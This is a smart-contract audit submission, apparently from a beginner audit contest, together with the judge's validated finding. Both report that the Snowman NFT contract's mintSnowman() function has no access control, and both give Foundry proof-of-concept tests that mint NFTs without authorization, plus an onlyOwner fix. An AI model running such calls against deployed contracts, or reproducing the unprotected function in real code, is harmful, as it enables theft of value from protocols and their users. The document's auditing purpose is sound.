Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Missing Access Control in `mintSnowman()` Allows Unrestricted NFT Minting Without Staking

Root + Impact

Description

According to the business requirements, the Snowman NFT protocol should only allow minting when:

  • Users stake their Snow tokens in the SnowmanAirdrop contract

  • Recipients receive Snowman NFTs equal to their Snow balance

  • The process goes through the Merkle tree airdrop system with proper verification

An unprotected mintSnowman() function with no access control allows any user to directly mint unlimited Snowman NFTs without staking Snow tokens, providing Merkle proofs, or going through the intended airdrop mechanism, completely bypassing the core business logic.

In Snowman.sol

@> function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

The function is marked external with no modifiers or access control checks, allowing any address to mint any number of Snowman NFTs to any receiver without any prerequisites.

The intended flow in SnowmanAirdrop.sol:

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
// ✓ Validates receiver has Snow tokens
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
// ✓ Validates signature
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
// ✓ Validates Merkle proof
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
// ✓ Transfers (stakes) Snow tokens
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
//@audit: This call can be bypassed by calling Snowman.mintSnowman() directly
@> i_snowman.mintSnowman(receiver, amount);
}

While the SnowmanAirdrop contract properly validates signatures, Merkle proofs, and transfers Snow tokens, attackers can bypass this entire system by calling Snowman.mintSnowman() directly.

Risk

Likelihood:

  • High: The vulnerability is trivially exploitable. Any user can directly call the public mintSnowman() function with a simple transaction. No special knowledge, resources, or conditions are required. The function is openly accessible on the blockchain.

Impact:

Critical: This vulnerability completely breaks the core business model and economics of the protocol:

  • Users can mint unlimited Snowman NFTs without owning or staking any Snow tokens

  • The entire Merkle tree airdrop system becomes useless

  • The Snow token loses all utility and value (no need to earn or buy it)

  • NFT scarcity and value are destroyed (infinite supply at zero cost)

  • The staking mechanism is completely bypassed

  • All protocol revenue from Snow token sales is eliminated

  • The protocol cannot fulfill its stated purpose or generate intended value

Proof of Concept

The test demonstrates that any user can directly mint Snowman NFTs without any requirements:

function testMintSnowmanWithoutSnowTokens() public {
// Alice gets the Snowman contract address from the airdrop
address snowman_address = airdrop.getSnowmanAddress();
Snowman snowman = Snowman(snowman_address);
uint256 balanceBefore = snowman.balanceOf(alice);
// Alice directly calls mintSnowman() on the Snowman contract
// bypassing all checks in SnowmanAirdrop:
// ❌ No Snow token balance check
// ❌ No signature verification
// ❌ No Merkle proof verification
// ❌ No token staking/transfer
vm.prank(alice);
snowman.mintSnowman(alice, 1); // Mints 1 NFT for free
uint256 balanceAfter = snowman.balanceOf(alice);
// ✓ Alice successfully received the NFT without any requirements
assert(balanceAfter == balanceBefore + 1);
}

Expected behavior: Users must stake Snow tokens and provide valid Merkle proofs through the SnowmanAirdrop contract to receive NFTs.

Actual behavior: Users can mint unlimited NFTs directly by calling Snowman.mintSnowman(), completely bypassing all security checks and the intended staking mechanism.

Recommended Mitigation

Implement proper access control to restrict minting to only the authorized SnowmanAirdrop contract. Use OpenZeppelin's Ownable and restrict to owner

// >>> EXTERNAL FUNCTIONS
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!